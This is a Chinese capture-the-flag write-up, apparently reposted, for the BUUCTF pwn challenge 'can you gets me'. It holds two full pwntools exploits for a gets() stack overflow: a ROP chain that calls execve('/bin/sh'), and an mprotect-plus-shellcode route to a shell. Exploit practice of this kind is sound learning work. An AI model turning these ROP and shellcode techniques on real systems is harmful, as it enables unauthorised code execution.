[BUUCTF]-PWN:picoctf_2018_can_you_gets_me解析

先看保护

再看ida

有一个不限长度的输入点gets,那能干的就很多了。

通俗易懂的思路有以下两种

解法一(系统调用):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)payload=b'/bin/sh\x00'
p.sendline(payload)payload=b'a'*(0x18+4)+p32(pop_eax)+p32(11)+p32(pop_ebx)+p32(bss)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int80)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)p.interactive()

解题思路:

主要是利用gets函数先往任意可用的bss段来输入/bin/sh,这样我们进行系统调用才有参数,然后就可以再次输入进行系统调用execve。

补充点1:32位系统调用传参的寄存器顺序是ebx,ecx,edx等,eax用于存放系统调用号

补充点2:用ROPgadget找出的sh字符好像用不了,反正我尝试了一下,没法用,所以就自己往bss段写入/bin/sh了。

补充点3:他的gets函数是自己写的,没有plt和got,不能泄露libc地址

解法二(shellcode):

完整exp:

from pwn import*
context(log_level='debug')
#p=process('./getsme')
p=remote('node5.buuoj.cn',27638)
puts=0x804F2A0
ret=0x080481b2
pop_eax=0x080b81c6
pop_ebx=0x080481c9
pop_ecx=0x080de955
pop_edx=0x0806f02a
int80=0x0806cc25
sh=0x080d4285
mprotect=0x806E0F0
main=0x80488A3
vuln=0x804887C
bss=0x80EB624
gets=0x0804F120payload=b'a'*(0x18+4)+p32(mprotect)+p32(main)+p32(0x80e0000)+p32(0x10000)+p32(0x7)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)payload=b'a'*(0x18+4)+p32(gets)+p32(main)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)shellcode='''
push 0
push 0x68732f2f
push 0x6e69622f
mov eax,11
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
'''
shellcode=asm(shellcode) #用pwntools自带的shellcode也能解
print(len(shellcode))p.sendline(shellcode)payload=b'a'*(0x18+4)+p32(bss)
p.sendlineafter(b'GIVE ME YOUR NAME!',payload)p.interactive()

解题思路:

用mprotect把bss段的权限改成可执行,然后注入shellcode,再跳转到bss段执行就可以getshell了

补充点1:如果是自主编写的shellcode,传入的参数如果是;sh;或bash没法成功

补充点2:我这里往bss段注入shellcode而不是栈段注入,主要是因为栈的地址是不确定的,但bss段地址固定,往bss段注入不用求出地址,比较方便。

补充点3:能自己写shellcode最好自己写,因为pwntools给的shellcode有点大,而且题目要是限制一下shellcode也不好改

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/452090.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于python+控制台输出的学生信息管理系统

基于python控制台输出的学生信息管理系统 一、系统介绍二、效果展示三、其他系统实现四、获取源码 一、系统介绍 打印功能菜单、添加学生信息、删除学生信息、修改学生信息、显示学生信息、退出系统,并且需要接收用户的输入,在根据输入内容调用相应函数…

解放网工双手-SNMP如何做好运维辅助?

1. SNMP为什么被誉为“网管神器”? 2. SNMP不同版本有何区别? 3. SNMP有哪些问题及Telemetry有何优势? ---- SNMP ----- 简单网络管理协议 U2000:传输设备管理 企业,银行 esight:华为 iMaster NCE-Camp…

机器学习周报第二十八周 PINNs2

文章目录 week28 PINNs2摘要Abstract一、Lipschitz条件二、文献阅读1. 题目数据驱动的偏微分方程2. 连续时间模型3. 离散时间模型4.结论 三、CLSTM1. 任务要求2. 实验结果3. 实验代码3.1模型构建3.2训练过程代码 小结参考文献 week28 PINNs2 摘要 本文主要讨论PINN。本文简要…

python接口自动化之接口测试用例(详解)

简介 接口测试是软件测试中非常重要的一种测试类型,它主要针对系统的接口进行测试,检查接口之间的交互是否符合预期。在进行接口测试时需要注意以下几个方面: 接口测试用例设计 接口测试用例设计需要考虑到接口的输入、输出、边界条件、异常…

从一个小故事讲解观察者模式~

定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。 什么是观察者模式? 观察者模式在我们的日常生活中极其常见。 先来看看观察者模式的定义: 观察者模式定义了对象之间…

山西电力市场日前价格预测【2024-02-05】

日前价格预测 预测说明: 如上图所示,预测明日(2024-02-05)山西电力市场全天平均日前电价为288.64元/MWh。其中,最高日前电价为400.22元/MWh,预计出现在18:45。最低日前电价为0.00元/MWh,预计出…

FastCAE合作开发项目更新:OpenFOAM求解器集成

开发内容 1. 参数化建模,可根据模型参数、块参数、样条参数生成前处理模型并进行三维展示 2. 前处理网格生成,可根据流域参数生成二维面网格或三维体网格,可调节网格基本尺寸,可设置生成棱柱层及棱柱层参数,网格加密…

25种Google的搜索技巧

背景 目前浏览器、搜索引擎,想必各位已经很熟悉了,但不代表想要知道的事情就一定可以通过搜索引擎搜索出来。大部分人的搜索技巧都在小学。所以本文就会系统总结一个 GOOGLE 搜索的一些技巧,来提高搜索效率。 首先呢,本文只保证 GOOGLE 有效,其他搜索引擎自己尝试,因为我…

ROS机器视觉应用中的关键点

1.ROS图像接口 ​​​​​​ 2.摄像头内参标定 3.ROS+OpenCV物体识别 ​​​ 4.小结

引流技术-通过文件中增加联系方式并传播

文章目录 前言文档增加联系方式扩散网盘扩散自建网站借力 注意 前言 很多人在找资料的时候可能都遇到过下图情况: 1、文档最后面留一个自己的联系方式; 2、找的一堆文件中都有相同的情况; 3、一段时间全网搜到的很多相同文件也有这个联系方式…

python coding with ChatGPT 打卡第16天| 二叉树:完全二叉树、平衡二叉树、二叉树的所有路径、左叶子之和

相关推荐 python coding with ChatGPT 打卡第12天| 二叉树:理论基础 python coding with ChatGPT 打卡第13天| 二叉树的深度优先遍历 python coding with ChatGPT 打卡第14天| 二叉树的广度优先遍历 python coding with ChatGPT 打卡第15天| 二叉树:翻转…

Python中类的定义和使用

Python是一门面向对象的编程语言,类是面向对象编程的核心概念之一。类是对象的蓝图,用来定义对象的属性和方法,通过实例化类可以创建对象。本文将介绍Python中类的定义和使用方法。 1. 类的定义 在Python中,使用关键字cl…